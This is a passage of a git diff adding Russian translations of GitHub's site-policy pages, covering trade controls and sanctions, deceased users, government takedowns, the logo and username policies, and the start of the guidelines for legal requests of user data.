+ms.lasthandoff: 09/07/2022 +ms.locfileid: '147858641' +--- + diff --git a/translations/ru-RU/content/site-policy/index.md b/translations/ru-RU/content/site-policy/index.md new file mode 100644 index 000000000000..892dc62661ac --- /dev/null +++ b/translations/ru-RU/content/site-policy/index.md @@ -0,0 +1,28 @@ +--- +title: Политика сайта +redirect_from: + - /categories/61/articles + - /categories/site-policy + - /github/site-policy +versions: + fpt: '*' +topics: + - Policy + - Legal +children: + - /github-terms + - /acceptable-use-policies + - /privacy-policies + - /other-site-policies + - /content-removal-policies + - /security-policies + - /github-company-policies + - /site-policy-deprecated +ms.openlocfilehash: f1e4dc46acc99e667705d06d71cb25bfe858ff26 +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '147099239' +--- + diff --git a/translations/ru-RU/content/site-policy/other-site-policies/github-and-trade-controls.md b/translations/ru-RU/content/site-policy/other-site-policies/github-and-trade-controls.md new file mode 100644 index 000000000000..0a187df5ee9e --- /dev/null +++ b/translations/ru-RU/content/site-policy/other-site-policies/github-and-trade-controls.md @@ -0,0 +1,117 @@ +--- +title: GitHub и торговый контроль +redirect_from: + - /articles/github-and-export-controls + - /articles/github-and-trade-control + - /articles/github-and-trade-controls + - /github/site-policy/github-and-export-controls + - /github/site-policy/github-and-trade-controls + - /github/site-policy/github-terms-and-other-site-policies/github-and-trade-controls +versions: + fpt: '*' +topics: + - Policy + - Legal +ms.openlocfilehash: e483abe3bffda4cdca5ee767b8e06ce4093f074a +ms.sourcegitcommit: d298d354a4585e6c154f2a8428aebb214d49e2a1 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/07/2022 +ms.locfileid: '147858634' +--- +GitHub.com, GitHub Enterprise Server и информация, которую вы загружаете в любой продукт, могут подпадать под действие правил торгового контроля, в том числе в соответствии с Правилами экспортного контроля США (EAR). + +Видение GitHub — быть глобальной платформой для совместной работы разработчиков, независимо от того, где они находятся. Мы серьезно относимся к нашей обязанности тщательно изучить правительственные санкции, чтобы убедиться, что пользователи и клиенты не пострадали сверх того, что требуется по закону. Это включает в себя обеспечение наличия и доступности услуг общедоступных репозиториев, в том числе для проектов с открытым исходным кодом, для поддержки личного общения с участием разработчиков в регионах, на которые распространяются санкции. Это также означает, что GitHub будет выступать за разработчиков в регионах, на которые распространяются санкции, чтобы они получили более широкий доступ к платформе и полный доступ к глобальному сообществу открытого исходного кода. + +Благодаря нашей поддержке и напряженной работе с регулирующими органами США GitHub получил лицензию от Управления по контролю за иностранными активами Министерства финансов США (OFAC) на восстановление наших облачных сервисов для разработчиков в Иране. И мы продолжим работать с регулирующими органами США, чтобы получить аналогичные лицензии для предоставления услуг совместной работы разработчикам в других регионах, на которые распространяются санкции, таких как Сирия и Крым. Мы стремимся выступать за максимально широкий доступ для разработчиков, поскольку считаем, что предоставление услуг совместной работы над кодом для разработчиков в регионах, на которые распространяются санкции, делает глобальное сообщество разработчиков сильнее, способствует человеческому прогрессу и поддерживает неизменную внешнюю политику США по продвижению свободы слова и свободного потока информации. Информацию о лицензии, которую мы предоставили разработчикам в Иране, см. [сообщение в блоге](https://github.blog/2021-01-05-advancing-developer-freedom-github-is-fully-available-in-iran). + +Хотя мы предоставили следующую информацию ниже для вашего удобства, в конечном итоге вы несете ответственность за обеспечение того, чтобы использование вами продуктов и услуг GitHub соответствовало применимому законодательству, включая законы США о контроле за экспортом. + +## Общие сведения об экспорте + +### GitHub.com + +Согласно нашим [Условиям обслуживания](/articles/github-terms-of-service) пользователи могут получать доступ и использовать GitHub.com только в соответствии с применимым правом, включая законы США о контроле за экспортом и санкциях. + +Пользователи несут ответственность за обеспечение того, чтобы контент, который они разрабатывают и публикуют на GitHub.com, соответствовал законам США об экспортном контроле, включая EAR и Правила международной торговли оружием США (ITAR). Предложение облачной службы, доступное по адресу [GitHub.com](https://github.com), не предназначено для размещения данных, подпадающих под действие ITAR, и в настоящее время не предлагает возможности ограничения доступа к репозиторию по стране. Если вы хотите сотрудничать по поводу контролируемых ITAR данных или других данных, подлежащих экспортному контролю, мы рекомендуем вам рассмотреть [GitHub Enterprise Server](https://enterprise.github.com), локальное предложение GitHub. + +GitHub теперь имеет лицензию OFAC на предоставление облачных услуг разработчикам, находящимся или иным образом проживающим в Иране. Сюда входят все государственные и частные услуги для частных лиц и организаций, как бесплатные, так и платные. + +Облачные сервисы GitHub, как бесплатные, так и платные, также обычно доступны для разработчиков, находящихся на Кубе. + +Гражданам особых категорий (SDN), другим исключенным или заблокированным лицам в соответствии с законодательством США и другим применимым правом, а также некоторым государственным служащим может быть ограничен доступ или использование GitHub.com. Кроме того, пользователи не могут использовать GitHub.com для таких лиц или от имени таких лиц, включая, как правило, правительства стран, на которые распространяются санкции. Кроме того, GitHub.com нельзя использовать в целях, запрещенных действующим законодательством об экспортном контроле, включая запрещенные конечные виды использования, описанные в [17 CFR 744](https://www.ecfr.gov/cgi-bin/text-idx?SID=ad384e1f1e017076f8c0136f322f0a4c&mc=true&node=pt15.2.744&rgn=div5). + +### GitHub Enterprise Server + +GitHub Enterprise Server — это автономное виртуальное устройство, которое можно запустить в вашем собственном центре обработки данных или в виртуальном частном облаке. Таким образом, GitHub Enterprise Server можно использовать для хранения контролируемой ITAR информации или другой информации, подлежащей экспортному контролю, хотя конечные пользователи тем не менее несут ответственность за обеспечение соблюдения ITAR и других применимых мер экспортного контроля. + +GitHub Enterprise Server — это коммерческий продукт для массового рынка, которому присвоен классификационный номер экспортного контроля (ECCN) `5D992.c` и который может быть экспортирован в большинство стран без лицензии (NLR). + +GitHub Enterprise Server нельзя продавать, экспортировать или реэкспортировать в любую страну, указанную в группе стран E:1 в Приложении № 1 к части 740 EAR, или в следующие области Украины: Крым и сепаратистские районы Донецка и Луганска. К перечисленным странам в настоящее время относятся Куба, Иран, Северная Корея, Сирия, Россия и Беларусь, но этот список может быть изменен. + +## Вопросы и ответы + +### В отношении каких стран и территорий применяются санкции правительства США? + +Крым, сепаратистские районы Донецкой и Луганской областей, Куба, Иран, КНДР и Сирия. Однако, что касается Ирана, GitHub теперь имеет лицензию Управления по контролю за иностранными активами Министерства финансов США (OFAC) на предоставление облачных услуг разработчикам, проживающим или иным образом находящимся в этой стране. Облачные сервисы GitHub, как бесплатные, так и платные, также обычно доступны для разработчиков, находящихся на Кубе. + +### Как GitHub гарантирует, что люди, не проживающие в странах и территориях, на которые распространяются санкции, и/или не имеющие профессиональных связей с ними, по-прежнему имеют доступ или возможность подать апелляцию? + +В тех редких случаях, когда учетная запись затрагивается непреднамеренно или по ошибке, у нас есть процедура подачи апелляции для рассмотрения таких случаев. + +Если отдельный пользователь или администратор организации считает, что они были отмечены по ошибке, то у этого пользователя есть возможность обжаловать отметку, предоставив GitHub информацию для проверки. Если GitHub получит достаточно информации для подтверждения того, что пользователь или организация не связаны с находящейся под санкциями США юрисдикцией, для которой у нас нет лицензии, или иным образом не ограничены экономическими санкциями США, то пометка будет снята. Дополнительные сведения см. [форма запроса апелляции по индивидуальной учетной записи](https://airtable.com/shrGBcceazKIoz6pY) и [форма запроса апелляции по учетной записи организации](https://airtable.com/shrB2je5RBkqLEt5D). + +### Будут ли затронуты поездки в эти регионы? + +Путешествие в эти регионы может повлиять на статус вашей учетной записи, но доступность может быть восстановлена после того, как вы окажетесь за пределами региона, на который распространяются санкции, и после успешной подачи [запроса апелляции по индивидуальной учетной записи](https://airtable.com/shrGBcceazKIoz6pY) или [запроса апелляции по учетной записи организации](https://airtable.com/shrB2je5RBkqLEt5D). + +### Что доступно, а что нет? + +GitHub теперь имеет лицензию OFAC на предоставление облачных услуг разработчикам, находящимся или иным образом проживающим в Иране, находящемся под санкциями США. Лицензия включает в себя все государственные и частные услуги для частных лиц и организаций, как бесплатные, так и платные. Облачные сервисы GitHub, как бесплатные, так и платные, также обычно доступны для разработчиков, находящихся на Кубе. + +GitHub продолжает предлагать бесплатные услуги общедоступного репозитория разработчикам с индивидуальными учетными записями и учетными записями организаций в Сирии, Крыму и сепаратистских районах Донецка и Луганска. Это включает в себя ограниченный доступ к бесплатным службам, таким как общедоступные репозитории для проектов с открытым исходным кодом (и связанные с ними общедоступные Страницы), общедоступные источники информации и выделенные бесплатные минуты действий, предназначенные только для личного общения, а не для коммерческих целей. + +Для платных учетных записей организаций в этих регионах, на которые распространяются санкции, пользователи могут иметь ограниченный доступ к своим общедоступным репозиториям, которые были понижены до архивных репозиториев только для чтения. Однако для бесплатных учетных записей организаций в этих находящихся под санкциями регионах пользователи по-прежнему будут иметь полный доступ к бесплатным общедоступным репозиториям для проектов с открытым исходным кодом (и связанных общедоступных страниц), общедоступных источников информации и выделенных бесплатных минут действий. + +GitHub продолжит выступать перед регулирующими органами США за максимально возможный доступ к службам совместной работы над кодом для разработчиков в регионах, на которые распространяются санкции, таких как Сирия и Крым, включая частные репозитории. Мы считаем, что предоставление этих услуг способствует человеческому прогрессу, международному общению и неизменной внешней политике США, направленной на поощрение свободы слова и свободного потока информации. + +Гражданам особых категорий (SDN), другим исключенным или заблокированным лицам в соответствии с законодательством США и другим применимым правом, а также некоторым государственным служащим может быть ограничен доступ или использование GitHub независимо от местоположения. Пользователи не могут использовать GitHub.com для таких лиц или от имени таких лиц, включая, как правило, правительства стран, на которые распространяются санкции. + +Услуги GitHub недоступны для разработчиков, проживающим или иным образом находящимся в Северной Корее. + +### Как вы определяете этих конкретных пользователей? + +Если GitHub определяет, что пользователь или клиент находится в регионе, на который распространяются ограничения торгового контроля США и для которого у GitHub еще нет лицензии от правительства США, или если пользователь иным образом ограничен экономическими санкциями США, то аффилированная учетная запись будет ограничена в соответствии с этими правовыми требованиями. Определение местоположения пользователя и клиента для реализации этих правовых ограничений происходит на основании ряда источников, включая IP-адреса и историю платежей. Национальность и этническая принадлежность не используются для отметки пользователей о санкционных ограничениях. + +### Как это влияет на учетные записи организаций? + +Если организация базируется в пределах находящейся под санкциями территории или страны, для которых у GitHub еще нет лицензии от правительства США, или ключевые лица или члены организации демонстрируют достаточные связи с находящейся под санкциями территорией или страной, для которых у GitHub еще нет лицензии от правительства США, или если организация иным образом подвергается экономическим санкциям США, то учетная запись организации и учетная запись аффилированного владельца будут ограничены. + +Ограничение приостанавливает доступ к услугам частных репозиториев и платным услугам, таким как доступность бесплатных или платных частных репозиториев, секретные источники информации, платные минуты действий, спонсоры и услуги GitHub Marketplace. Для платных учетных записей организаций, связанных с этими регионами, на которые распространяются санкции, пользователи могут иметь ограниченный доступ к своим общедоступным репозиториям, которые были понижены до архивных репозиториев только для чтения. Однако для бесплатных учетных записей организаций, связанных с этими находящимися под санкциями регионами, пользователи по-прежнему будут иметь полный доступ к бесплатным общедоступным репозиториям для проектов с открытым исходным кодом (и связанных общедоступных страниц), общедоступных источников информации и выделенных бесплатных минут действий. + +### Можно ли сделать публичными частные репозитории пользователей, в отношении которых действуют торговые ограничения? + +Пользователи бесплатных индивидуальных учетных записей могут сделать ограниченные частные репозитории общедоступными только для личного общения, а не для коммерческих целей. Пользователи могут сделать это, перейдя на вкладку настроек репозитория и нажав кнопку «Сделать общедоступным». Когда репозиторий становится общедоступным, пользователи получают доступ к службам общедоступных репозиториев. Это действие не может быть отменено. + +### Могут ли пользователи с торговыми ограничениями получить доступ к данным частного репозитория (например, загрузка или удаление данных репозитория)? + +К сожалению, наше понимание закона не дает нам возможности разрешить загрузку или удаление содержимого частного репозитория, если иное не разрешено правительством США. Вместе с регулирующими органами США мы будем решительно отстаивать право пользователей с торговыми ограничениями защищать содержимое своих частных репозиториев. Мы также будем выступать за большую доступность сервисов GitHub для разработчиков на находящихся под санкциями рынках и еще раз подчеркиваем важность совместной работы над кодом для поддержки личных коммуникаций для разработчиков во всем мире. + +### Какие типы учетных записей будут доступны в Иране в соответствии с лицензией, полученной GitHub от OFAC? + +Полученная нами лицензия включает в себя все государственные и частные услуги для частных лиц и организаций, как бесплатные, так и платные. + +Например, разработчик в Иране может подписаться на план Free или Pro для личного использования, а иранский университет может настроить учетную запись организации для совместной работы со студентами. + +Гражданам особых категорий (SDN), другим исключенным или заблокированным лицам в соответствии с законодательством США и другим применимым правом, а также некоторым государственным служащим может быть ограничен доступ или использование GitHub. + +Если GitHub определит, что физическое лицо или организация попадает в категорию с ограниченным доступом (SDN, другие заблокированные стороны или определенные государственные служащие), их учетная запись будет помечена, и они не смогут использовать какие-либо функции GitHub. Если они считают, что получили такую пометку по ошибке, у них есть возможность обжаловать пометку, предоставив GitHub информацию для проверки, используя нашу [форму запроса апелляции индивидуальной учетной записи или форму запроса апелляции учетной записи организации](https://airtable.com/shrGBcceazKIoz6pY). Если GitHub получит достаточно информации, чтобы убедиться, что данное лицо не относится к категории, ограниченной экономическими санкциями США, то пометка будет снята. + +### Смогут ли иранские пользователи GitHub использовать платные услуги по лицензии? + +В соответствии с лицензией, которую мы получили от OFAC, мы восстанавливаем все облачные сервисы для иранских пользователей, включая платные сервисы. Мы принимаем все основные кредитные карты, но платежи за нас обрабатывают третьи лица, поэтому платежи регулируются условиями наших операторов платежных систем. Эти третьи лица могут включать ограничения, блокирующие платежи из Ирана. + +### Можете ли вы уточнить доступность GitHub для кубинских разработчиков? + +Облачные сервисы GitHub, как бесплатные, так и платные, обычно доступны для разработчиков, находящихся на Кубе. +Гражданам особых категорий (SDN), другим исключенным или заблокированным лицам в соответствии с законодательством США и другим применимым правом, а также некоторым государственным служащим может быть ограничен доступ или использование GitHub независимо от местоположения. Кроме того, пользователи не могут использовать GitHub.com для таких лиц или от имени таких лиц, включая, как правило, правительства стран, на которые распространяются санкции. diff --git a/translations/ru-RU/content/site-policy/other-site-policies/github-deceased-user-policy.md b/translations/ru-RU/content/site-policy/other-site-policies/github-deceased-user-policy.md new file mode 100644 index 000000000000..ee8229bf9f26 --- /dev/null +++ b/translations/ru-RU/content/site-policy/other-site-policies/github-deceased-user-policy.md @@ -0,0 +1,32 @@ +--- +title: Политика GitHub в отношении умерших пользователей +versions: + fpt: '*' +topics: + - Policy + - Legal +redirect_from: + - /github/site-policy/github-deceased-user-policy + - /github/site-policy/github-terms-and-other-site-policies/github-deceased-user-policy +ms.openlocfilehash: a78a0c99d0edf9891748101d238b26598df96c77 +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '144556649' +--- +В случае смерти пользователя GitHub мы вместе с его уполномоченным лицом можем проработать вариант того, что произойдет с содержимым учетной записи. + +Если вы являетесь ближайшим родственником, [предварительно назначенным преемником](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories) или другим уполномоченным лицом (которое может быть сотрудником или деловым партнером) умершего пользователя и хотите сделать запрос относительно его учетной записи, вы можете связаться с нами по адресу https://support.github.com/contact. В сообщении укажите следующую информацию: + +- Имя +- контактная информация. +- Ф.И.О. умершего владельца учетной записи +- Имя пользователя GitHub умершего владельца учетной записи +- Ваши отношения с умершим владельцем учетной записи (пожалуйста, укажите, были ли вы назначены преемником учетной записи на GitHub.com) +- Если вы назначены преемником учетной записи, имя пользователя вашей учетной записи GitHub +- Какое действие вам необходимо (например, перенос общедоступных репозиториев, отмена выставления счетов на учетную запись) + +После того как мы получим ваш запрос, мы можем запросить дополнительную информацию, такую как копия вашего удостоверения личности с фотографией, копия свидетельства о смерти и документы, подтверждающие, что вы уполномочены действовать в отношении учетной записи умершего пользователя, чтобы убедиться, что мы должным образом уполномочены обрабатывать ваш запрос. + +Обратите внимание, что информация, которую вы предоставляете в своем запросе, собирается в соответствии с нашим [Заявлением о конфиденциальности](/github/site-policy/github-privacy-statement), и мы будем хранить информацию только по мере необходимости для выполнения наших юридических обязательств и разрешения споров. diff --git a/translations/ru-RU/content/site-policy/other-site-policies/github-government-takedown-policy.md b/translations/ru-RU/content/site-policy/other-site-policies/github-government-takedown-policy.md new file mode 100644 index 000000000000..35bc3704f0d2 --- /dev/null +++ b/translations/ru-RU/content/site-policy/other-site-policies/github-government-takedown-policy.md @@ -0,0 +1,45 @@ +--- +title: Политика GitHub по удалению по требованию правительства +versions: + fpt: '*' +topics: + - Policy + - Legal +redirect_from: + - /github/site-policy/github-government-takedown-policy + - /github/site-policy/github-terms-and-other-site-policies/github-government-takedown-policy +ms.openlocfilehash: e3d0c85171d649c94a7c2ab5934d58fdcfff6181 +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '144556812' +--- +## Что это такое? +Время от времени GitHub получает запросы от правительств на удаление контента, объявленного незаконным в их местной юрисдикции. Хотя мы можем не всегда быть согласны с этими законами, нам может потребоваться заблокировать контент, если мы получим полный запрос от государственного чиновника, чтобы наши пользователи в этой юрисдикции могли продолжать иметь доступ к GitHub для совместной работы и создания программного обеспечения. + +## Что такое полный запрос правительства на удаление контента? +Чтобы считаться полным запросом, запрос или уведомление должны +- исходить от соответствующего официального государственного учреждения +- определить нелегальный контент +- указать источник незаконности в этой юрисдикции (закон или постановление суда). + +## Что происходит, когда мы получаем полный запрос на удаление от правительства? + +Когда мы получаем уведомление от соответствующего официального государственного учреждения, в котором указывается незаконный контент и указывается источник незаконности, мы +- уведомляем затронутых пользователей о конкретном контенте, который предположительно нарушает закон, и о том, что это законный запрос на удаление +- позволяем затронутым пользователям обжаловать решение в рамках этого уведомления +- по возможности ограничиваем географический охват удаления и включаем это в уведомление +- публикуем официальный запрос, который привел к удалению, в нашем паблике [репозиторий gov-takedowns](https://github.com/github/gov-takedowns). + +## Почему мы публично размещаем уведомления об удалении? +Мы обеспокоены цензурой в Интернете и считаем, что прозрачность на конкретном и постоянном уровне необходима для эффективного управления. Публично размещая уведомления, мы можем лучше информировать общественность о том, какой контент скрыт от GitHub и почему. Мы публикуем уведомления об удалении, чтобы задокументировать их потенциал для ограничения свободы слова. + +## Что значит, если мы опубликуем уведомление в нашем репозитории gov-takedowns? +Это означает, что мы получили уведомление в указанную дату. Это *не* означает, что контент был незаконным или неправильным. Это *не* означает, что пользователь, указанный в уведомлении, сделал что-то не так. Мы не делаем и не подразумеваем каких-либо суждений о достоинствах заявлений, которые они делают. Мы размещаем эти уведомления и запросы только в информационных целях. + +## Правительственные уведомления об удалении на основании нарушений Условий обслуживания GitHub +В некоторых случаях GitHub получает сообщения от государственных чиновников о нарушениях Условий обслуживания GitHub. Мы обрабатываем эти нарушения так же, как мы обрабатываем нарушения Условий обслуживания, о которых сообщает кто-либо другой. Однако мы уведомляем затронутых пользователей о том, что отчет поступил от правительства, и, как и в любом другом случае, предоставляем им возможность подать апелляцию. + +## Отчетность о прозрачности +В дополнение к размещению правительственных уведомлений об удалении в нашем репозитории `github/gov-takedowns`, мы сообщаем о них в нашем отчете о прозрачности. Мы также отслеживаем и сообщаем в нашем отчете о прозрачности о санкциях правительства на основании нарушений Условий обслуживания GitHub. diff --git a/translations/ru-RU/content/site-policy/other-site-policies/github-logo-policy.md b/translations/ru-RU/content/site-policy/other-site-policies/github-logo-policy.md new file mode 100644 index 000000000000..b3571c3cd319 --- /dev/null +++ b/translations/ru-RU/content/site-policy/other-site-policies/github-logo-policy.md @@ -0,0 +1,18 @@ +--- +title: GitHub Logo Policy +redirect_from: + - /articles/i-m-developing-a-third-party-github-app-what-do-i-need-to-know + - /articles/using-an-octocat-to-link-to-github-or-your-github-profile + - /articles/github-logo-policy + - /github/site-policy/github-logo-policy + - /github/site-policy/github-terms-and-other-site-policies/github-logo-policy +versions: + fpt: '*' +topics: + - Policy + - Legal +--- + +You can add {% data variables.product.prodname_dotcom %} logos to your website or third-party application in some scenarios. For more information and specific guidelines on logo usage, see the [{% data variables.product.prodname_dotcom %} Logos and Usage page](https://github.com/logos). + +You can also use an octocat as your personal avatar or on your website to link to your {% data variables.product.prodname_dotcom %} account, but not for your company or a product you're building. {% data variables.product.prodname_dotcom %} has an extensive collection of octocats in the [Octodex](https://octodex.github.com/). For more information on using the octocats from the Octodex, see the [Octodex FAQ](https://octodex.github.com/faq/). diff --git a/translations/ru-RU/content/site-policy/other-site-policies/github-username-policy.md b/translations/ru-RU/content/site-policy/other-site-policies/github-username-policy.md new file mode 100644 index 000000000000..8535109799a0 --- /dev/null +++ b/translations/ru-RU/content/site-policy/other-site-policies/github-username-policy.md @@ -0,0 +1,34 @@ +--- +title: Политика GitHub в отношении имен пользователей +redirect_from: + - /articles/name-squatting-policy + - /articles/github-username-policy + - /github/site-policy/github-username-policy + - /github/site-policy/github-terms-and-other-site-policies/github-username-policy +versions: + fpt: '*' +topics: + - Policy + - Legal +ms.openlocfilehash: 55225fc4c60503e4cb9dbce4d41e51a13926d79e +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '144556815' +--- +Имена учетных записей GitHub доступны в порядке очереди и предназначены для немедленного и активного использования. + +## Что делать, если нужное мне имя пользователя уже занято? + +Имейте в виду, что не все действия на GitHub видны всем; учетные записи без видимой активности могут активно использоваться. + +Если нужное вам имя пользователя уже было занято, рассмотрите другие имена или уникальные варианты. Использование числа, дефиса или альтернативного написания может помочь вам все равно получить желаемое имя пользователя. + +## Политика в отношении товарных знаков + +Если вы считаете, что чья-то учетная запись нарушает ваши права на товарный знак, вы можете найти дополнительную информацию о подаче жалобы на товарный знак на нашей странице [Политика в отношении товарных знаков](/articles/github-trademark-policy/). + +## Политика сквоттинга имен + +GitHub запрещает сквоттинг имен учетных записей, и имена учетных записей не могут быть зарезервированы или неактивно сохранены для использования в будущем. Учетные записи, нарушающие эту политику сквоттинга имен, могут быть удалены или переименованы без предварительного уведомления. Попытки продать имена учетных записей, купить их или запросить другие формы оплаты в обмен на имена учетных записей запрещены и могут привести к бессрочной блокировке учетной записи. diff --git a/translations/ru-RU/content/site-policy/other-site-policies/guidelines-for-legal-requests-of-user-data.md b/translations/ru-RU/content/site-policy/other-site-policies/guidelines-for-legal-requests-of-user-data.md new file mode 100644 index 000000000000..866e3be9e434 --- /dev/null +++ b/translations/ru-RU/content/site-policy/other-site-policies/guidelines-for-legal-requests-of-user-data.md @@ -0,0 +1,239 @@ +--- +title: Руководство по юридическим запросам пользовательских данных +redirect_from: + - /law-enforcement-guidelines + - /articles/guidelines-for-legal-requests-of-user-data + - /github/site-policy/guidelines-for-legal-requests-of-user-data + - /github/site-policy/github-terms-and-other-site-policies/guidelines-for-legal-requests-of-user-data +versions: + fpt: '*' +topics: + - Policy + - Legal +ms.openlocfilehash: 991c060af22a9161e026aa396037a1d52e66fcea +ms.sourcegitcommit: d298d354a4585e6c154f2a8428aebb214d49e2a1 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/07/2022 +ms.locfileid: '147858625' +--- +Вы сотрудник правоохранительных органов, проводящий расследование, которое может касаться пользовательского контента, размещенного на GitHub? +Или, может быть, вы заботитесь о конфиденциальности и хотели бы знать, какую информацию мы передаем правоохранительным органам и при каких обстоятельствах. +В любом случае вы находитесь на правильной странице. + +В этих рекомендациях мы немного расскажем о том, что такое GitHub, о типах данных, которые у нас есть, и об условиях, при которых мы будем раскрывать персональную информацию пользователей. +Однако, прежде чем мы углубимся в детали, вот несколько важных деталей, которые вы, возможно, захотите узнать: + +- Мы будем [**уведомлять затронутых пользователей**](#we-will-notify-any-affected-account-owners) о любых запросах информации об их учетной записи, если это не запрещено законом или постановлением суда. +- Мы не будем раскрывать **данные отслеживания местоположения**, такие как журналы IP-адресов, без [действительного судебного ордера или ордера на обыск](#with-a-court-order-or-a-search-warrant). +- Мы не будем раскрывать ни **частный пользовательский контент**, включая содержимое частных репозиториев, без действительного [ордера на обыск](#only-with-a-search-warrant). + +## Об этих рекомендациях + +Наши пользователи доверяют нам свои программные проекты и код — часто некоторые из их самых ценных деловых или личных активов. +Для нас важно поддерживать это доверие, а это означает, что пользовательские данные должны быть безопасными, защищенными и конфиденциальными. + +Хотя подавляющее большинство наших пользователей используют сервисы GitHub для создания новых предприятий, создания новых технологий и общего улучшения человечества, мы понимаем, что с миллионами пользователей, разбросанных по всему миру, обязательно найдется несколько червивых яблок в корзине. +В этих случаях мы хотим помочь правоохранительным органам служить их законным интересам по защите населения. + +Предоставляя рекомендации для сотрудников правоохранительных органов, мы надеемся найти баланс между часто конкурирующими интересами конфиденциальности пользователей и справедливости. +Мы надеемся, что эти рекомендации помогут сформировать ожидания обеих сторон, а также повысить прозрачность внутренних процессов GitHub. +Наши пользователи должны знать, что мы ценим их персональную информацию и делаем все возможное для ее защиты. +Как минимум это означает предоставление данных третьим лицам только после выполнения соответствующих юридических требований. +Таким же образом мы надеемся рассказать специалистам правоохранительных органов о системах GitHub, чтобы они могли более эффективно адаптировать свои запросы данных и нацеливаться только на ту информацию, которая необходима для проведения их расследования. + +## Терминология GitHub + +Прежде чем просить нас раскрыть данные, может быть полезно понять, как реализована наша система. +GitHub размещает миллионы репозиториев данных, используя [Систему контроля версий Git](https://git-scm.com/video/what-is-version-control). +Репозитории на GitHub, которые могут быть общедоступными или частными, чаще всего используются для проектов разработки программного обеспечения, но также часто используются для работы с любым контентом. + +- [**Пользователи**](/articles/github-glossary#user) — Пользователи представлены в нашей системе как личные учетные записи GitHub. +Каждый пользователь имеет личный профиль и может владеть несколькими репозиториями. +Пользователи могут создавать организации или получать приглашения присоединиться к ним или совместно работать над репозиторием другого пользователя. + +- [**Соавторы**](/articles/github-glossary#collaborator) — Соавтор — это пользователь с доступом для чтения и записи к репозиторию, который был приглашен внести свой вклад владельцем репозитория. + +- [**Организации**](/articles/github-glossary#organization) — Организации — это группа из двух или более пользователей, которые обычно отражают реальные организации, такие как предприятия или проекты. +Они управляются пользователями и могут содержать как репозитории, так и группы пользователей. + +- [**Репозитории**](/articles/github-glossary#repository) — Репозиторий — один из самых основных элементов GitHub. +Их проще всего представить в виде папки проекта. +Репозиторий содержит все файлы проекта (включая документацию) и хранит историю изменений каждого файла. +Репозитории могут иметь несколько соавторов и, по усмотрению администраторов, могут быть общедоступными или закрытыми. + +- [**Страницы**](/articles/what-is-github-pages) — Страницы GitHub — это общедоступные веб-страницы, бесплатно размещаемые на GitHub, которые пользователи могут легко публиковать с помощью кода, хранящегося в их репозиториях. +Если у пользователя или организации есть страница GitHub, ее обычно можно найти по URL-адресу, например `https://username.github.io` или у них может быть веб-страница, сопоставленная с их собственным доменным именем. + +- [**Источники информации**](/articles/creating-gists) — Источники информации — это фрагмент исходного кода или другого текста, который пользователи могут использовать для хранения идей или обмена ими с друзьями. +Как и обычные репозитории GitHub, Источники информации создаются с помощью Git, поэтому они автоматически версионируются, разветвляются и загружаются. +Источники информации могут быть общедоступными или секретными (доступными только через известный URL-адрес). Общедоступные Источники информации не могут быть преобразованы в секретные Источники информации. + +## Пользовательские данные на GitHub.com + +Вот неполный список видов данных, которые мы храним о пользователях и проектах на GitHub. + +- +**Данные публичной учетной записи** — На GitHub в открытом доступе есть различная информация о пользователях и их репозиториях. +Профили пользователей можно найти по URL-адресу, например `https://github.com/username`. +Профили пользователей отображают информацию о том, когда пользователь создал свою учетную запись, а также об их общедоступной активности на GitHub.com и социальных взаимодействиях. +Общедоступные профили пользователей также могут включать дополнительную информацию, которую пользователь может выбрать для общего доступа. +Все общедоступные профили пользователей отображают: + - Имя пользователя + - Репозитории, которые пользователь пометил звездочкой + - Другие пользователи GitHub, на которых подписан пользователь + - Пользователи, которые следят за ними + + При желании пользователь также может опубликовать следующую информацию: + - Их настоящее имя + - Аватар + - Аффилированная компания + - Их местоположение + - Общедоступный адрес электронной почты + - Их личная веб-страница + - Организации, членом которых является пользователь (*в зависимости от предпочтений организации или пользователей*) + +- +**Данные частной учетной записи** — GitHub также собирает и хранит определенную персональную информацию о пользователях, как указано в нашей [Политике конфиденциальности](/articles/github-privacy-statement). +Это может включать: + - Частные адреса электронной почты + - Детали оплаты + - Журналы безопасного доступа + - Данные о взаимодействиях с частными репозиториями + + Чтобы получить представление о типе информации о частной учетной записи, которую собирает GitHub, вы можете посетить {% data reusables.user-settings.personal_dashboard %} и просмотрите разделы в левой строке меню. + +- +**Данные учетной записи организации** — На GitHub в открытом доступе есть информация об организациях, их административных пользователях и репозиториях. +Профили организаций можно найти по URL-адресу, например `https://github.com/organization`. +Общедоступные профили организаций также могут включать дополнительную информацию, которую владельцы могут выбрать для общего доступа. +Все общедоступные профили организаций отображают: + - Наименование организации + - Репозитории, которые владельцы пометил звездочкой + - Все пользователи GitHub, являющиеся владельцами организации + + При желании административные пользователи также могут опубликовать следующую информацию: + - Аватар + - Аффилированная компания + - Их местоположение + - Прямые участники и команды + - Соавторы + +- +**Данные общедоступного репозитория** — GitHub является домом для миллионов общедоступных программных проектов с открытым исходным кодом. +Вы можете просмотреть практически любой общедоступный репозиторий (например, [Проект Atom](https://github.com/atom/atom)), чтобы понять, какую информацию о репозиториях собирает и хранит GitHub. +Это может включать: + + - Сам код + - Предыдущие версии кода + - Стабильные версии выпуска проекта + - Информация о соавторах, участниках и членах репозитория + - Журналы операций Git, таких как коммиты, ветвление, отправка, вытягивание, разветвление и клонирование. + - Обсуждения, связанные с операциями Git, такие как комментарии к запросам на вытягивание или коммитам + - Документация по проекту, такая как проблемы и вики-страницы + - Статистика и графики, показывающие вклады в проект и сеть участников + +- +**Данные частного репозитория** — GitHub собирает и поддерживает тот же тип данных для частных репозиториев, что и для общедоступных репозиториев, за исключением того, что только специально приглашенные пользователи могут получить доступ к данным частного репозитория. + +- +**Другие данные** — Кроме того, GitHub собирает аналитические данные, такие 